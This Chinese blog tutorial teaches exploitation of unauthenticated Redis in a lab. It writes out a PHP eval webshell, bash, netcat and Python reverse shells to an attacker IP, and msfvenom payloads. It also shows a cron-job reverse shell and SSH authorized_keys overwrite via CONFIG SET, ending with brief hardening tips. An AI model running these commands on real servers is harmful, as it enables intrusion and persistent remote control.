Redis未授权访问

Redis未授权访问

Redis常见用途

Redis在现代应用程序中有许多常见用途,包括但不限于以下几个方面:

  1. 缓存:Redis作为内存数据库,可以用作缓存层,提高应用程序的读取速度。通过将频繁访问的数据存储在Redis中,可以减少对后端数据库的访问次数,从而提高整体性能。
  2. 会话存储:将用户会话数据存储在Redis中可以实现快速的会话管理。这对于需要跨多个应用服务器共享会话数据的应用程序非常有用。
  3. 消息队列:Redis的发布/订阅功能可以用于构建轻量级消息队列系统。应用程序可以使用Redis作为消息代理,实现异步通信和任务队列。
  4. 实时数据分析:由于Redis的高性能和支持复杂数据结构的特性,它可以用于实时数据分析和计算。例如,存储实时日志数据、计算实时指标等。
  5. 计数器和排行榜:Redis的原子操作和有序集合结构使其非常适合实现计数器和排行榜功能。可以轻松地实现用户点赞数、文章浏览次数等功能。
  6. 地理位置应用:Redis的地理空间支持可以用于构建地理位置应用程序,如附近的人功能、地理位置搜索等。
  7. 实时聊天应用:Redis的发布/订阅功能和高性能使其成为构建实时聊天应用程序的理想选择。
Redis的常见数据类型
String:字符和整型
缓存
分布式session
分布式锁
全局ID
计数器
限流

Hash:哈希表
存储一个对象
存储一张表的数据
购物车

List:有序数组
消息列表
文章列表
评论列表
公告列表
活动列表

Set:无序集合
抽奖
点赞、签到打卡
商品标签

ZSet:有序集合 排行榜

Redis的一些关键特性包括:

  1. 内存数据存储:Redis将数据存储在内存中,对读写操作非常快速。
  2. 持久性:Redis允许将数据持久化到磁盘,确保数据的持久性和完整性。
  3. 数据结构:Redis支持各种数据结构,如字符串、列表、集合、有序集合、哈希等,提供了灵活的数据建模方式。
  4. 复制和集群:Redis支持复制和集群,以实现高可用性和可扩展性。
  5. 发布/订阅消息传递:Redis支持发布/订阅消息传递,使其成为构建实时应用程序的多功能工具。
  6. Lua脚本:Redis允许用户编写Lua脚本,在服务器上执行,从而实现原子操作
Redis服务端(靶机)
Redis客户端(攻击者)

Redis服务端
注释bind # bind 127.0.0.1
关闭保护模式 protected-mode no
默认不需要密码连接 #requirepass
root用户安装

其他如何客户端无需密码连接服务端

Redis持久化机制

Redis纯内存数据,内存数据如何可靠存储? 持久化机制

Redis.conf

RDB(默认)
save 3600 1    #自动触发规则   3600s至少有一个key修改,则将内存存入磁盘
dbfilename dump.rdb  #文件名
dir ./  #存储地址


AOF

Redis动态修改配置

config set:动态修改配置,重启以后失效

config set dir /www/admin/localhost_80/wwwroot
将Redis的持久化数据文件存储目录设置为 /www/admin/localhost_80/wwwroot。
config set dbfilename redis.php
将Redis的持久化数据文件的文件名设置为 redis.php。
利用
攻击者可以对靶机任意文件写入任意内容
例如向redis.php写入php代码
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set aa "<?php?>"

Webshell提权

保存shell
redis-cli -h 192.168.142.66 -p 6379
set x "<?php @eval($_POST[wuya]); ?>"
config set dir /www/admin/localhost_80/wwwroot
Linux安装、启动phpStudy
config set dbfilename redis.php
save
中国蚁剑连接
http://192.168.142.66/upload/uploads/shell.php

反弹连接

如果没有监听80端口的HttP Server或者找不到网站的根路径?

为什么要用反弹连接?
反弹连接的原理是在目标系统上执行一个恶意程序,该程序会连接到攻击者控制的服务器上,从而使攻击者可以远程控制目标系统。

内网,私有IP
IP动态变化
6379端口不允许入方向
一句话木马被杀软删除、

如何实现
控制机如何监听一个端口(接受靶机返回数据)
靶机的端口怎样连接到控制机的端口

监听端口(攻击机执行)
netcat: nc -lvp 7777   (指定一个端口监听并给出输出)

msf
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.142.141 (本机IP)
set lport 7777
run

socat socat TCP-LISTEN:7777  (kali)

建立连接(靶机执行)
Linux bash: bash -i >& /dev/tcp/192.168.142.44/7777 0>&1    

这个命令是一个典型的反弹Shell命令,用于建立一个反向Shell连接到指定的IP地址和端口。它的作用是将Bash的标准输入(stdin)、标准输出(stdout)和标准错误(stderr)重定向到指定的IP地址和端口上。
具体来说,这个命令的含义是:
-i:表示以交互模式运行Bash,这样可以与Shell进行交互。
>& /dev/tcp/192.168.142.44/7777:将标准输出和标准错误重定向到指定IP地址(192.168.142.44)和端口(7777)。这部分实际上是在尝试建立一个TCP连接到指定的IP地址和端口。
0>&1:将标准输入重定向到标准输出,这样输入和输出都将通过TCP连接进行。
总的来说,这个命令的目的是在目标机器上建立一个反向Shell连接,使得攻击者可以通过指定的IP地址和端口远程控制目标机器。

netcat ; nc -e /bin/bash 192.168.142.44 7777

这个命令使用了nc(netcat)工具来建立一个反弹Shell连接到指定的IP地址和端口。具体来说,这个命令的含义是:

-e /bin/bash:在建立连接后,将远程主机的输入和输出重定向到/bin/bash,这样可以实现一个交互式的Bash Shell。
192.168.142.44:指定连接的目标IP地址为192.168.142.44。
7777:指定连接的目标端口为7777。
这个命令的作用是尝试通过nc工具在目标机器上执行/bin/bash,并将其输入和输出通过指定的IP地址和端口进行传输,从而实现远程Shell连接。

Python
python -c "importos,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.142.44',7777));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);"
导入了os、socket和subprocess模块。
创建了一个TCP套接字,并连接到指定的IP地址(192.168.142.44)和端口(7777)。
使用os.dup2()函数将套接字的文件描述符复制到标准输入、标准输出和标准错误。
使用subprocess.call()函数调用/bin/bash程序,并以交互模式运行。

建立连接(攻击者执行)
配合msf监听模块使用
msf

php:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.142.141 lport=7777 -o shell.php
案例:vulnhub-prime1
java:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.141 lport=7777 -f war -o
shell.war 
案例:vulnhub-breach1
exe:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.142.141 lport=7777 -i 5 -f
exe -o test.exe

计划任务反弹shell

Linux定时任务

在Linux系统中,可以使用cron服务来设置和管理定时任务。cron是一个用于在指定时间执行命令或脚本的服务,它能够让用户在后台定期执行任务,无需手动操作。

以下是一些关于Linux定时任务的常用命令和操作:

  1. crontab命令crontab命令用于创建、编辑和查看用户的定时任务列表。

    删除 crontab -u root -r
    添加 crontab -u root time.cron
    列举 crontab -u root -l
    编辑 crontab -u root -e
    
  2. 定时任务格式:定时任务的格式如下:

    * * * * * command
    - - - - -
    | | | | |
    | | | | +----- 周几(0-7,0和7都表示星期日)
    | | | +------- 月份(1-12)
    | | +--------- 日期(1-31)
    | +----------- 小时(0-23)
    +------------- 分钟(0-59)
    
  3. 示例:以下是一些示例定时任务的设置:

    • 0 1 * * * /path/to/script.sh:每天凌晨1点执行脚本。
    • */15 * * * * /path/to/command:每15分钟执行一次命令。
    • 0 0 * * 0 /path/to/weekly_script.sh:每周日凌晨执行周任务脚本。
  4. 系统定时任务:系统中还有一个特殊的定时任务目录/etc/cron.d/,可以存放系统级别的定时任务。

  5. 日志:定时任务执行的结果会记录在日志文件中,可以查看/var/log/syslog或者/var/log/cron来查看定时任务执行情况。

  6. cron存储路径

    /var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
    
    /etc/crontab  放的是对应周期的任务dalily、hourly 、monthly、weekly
    

Redis命令

set x "\n* * * * * bash -i >& /dev/tcp/192.168.142.44/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

这段代码尝试通过Redis的CONFIG SET命令来修改Cron定时任务的配置,将一个反弹Shell的Cron任务添加到指定的目录/var/spool/cron/中。具体来说,这段代码的作用是:

将字符串"\n* * * * * bash -i >& /dev/tcp/192.168.142.44/7777 0>&1\n"赋值给变量x,该字符串包含一个Cron表达式,用于在每分钟执行一个反弹Shell连接到指定的IP地址和端口。

使用Redis的CONFIG SET命令分别设置了dir和dbfilename的值:

config set dir /var/spool/cron/:将Cron定时任务的目录设置为/var/spool/cron/。
config set dbfilename root:将数据库文件名设置为root。
最后使用save命令来保存配置更改。

SSH key免密登录

免密登录原理

1、客户端生成密钥对(公钥、私钥)
2、客户端把公钥发给服务端保存(正常情况需要密码)
3、客户端用私钥加密消息,发给服务端
4、服务端用公钥解密,解密成功,说明密钥匹配
5、客户端免密登录成功

客户端:xshell(控制机)
服务端:靶机

常规流程

控制机生成密钥对 ssh-keygen  一路回车

ls -a     (.ssh)
cd .ssh   (id_rsa,id_rsa.pub)  (私钥,公钥)


控制机发送公钥 ssh-copy-id root@192.168.142.66


公钥在靶机保存位置 $HOME/.ssh/authorized_keys


控制机利用公钥连接 ssh -i ./id_rsa root@192.168.142.66

Redis命令

set xxx "\n\n\aaaaaaaaaaaaa\n\n\n"
config set dir /root/.ssh
config set dbfilename authorized_keys
save

这段代码尝试使用Redis的CONFIG SET命令来修改Redis的配置,将一些数据写入到指定目录下的文件中。具体来说,这段代码的作用是:

将字符串"\n\n\aaaaaaaaaaaaa\n\n\n"赋值给变量xxx,该字符串包含一些换行符和字符a,用于在文件中写入一些内容。

使用Redis的CONFIG SET命令分别设置了dir和dbfilename的值:

config set dir /root/.ssh:将目录设置为/root/.ssh,即root用户的SSH目录。
config set dbfilename authorized_keys:将数据库文件名设置为authorized_keys,即SSH公钥文件。
最后使用save命令来保存配置更改。

redis 加固方案

限制访问ip:通过防火墙或网络ACL等方式,限制只有特定IP地址或IP地址段可以访问Redis服务器。

修改默认端口;将Redis服务器的默认端口(6379)修改为其他非常用端口,以减少被扫描和攻击的风险。

  • 39
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值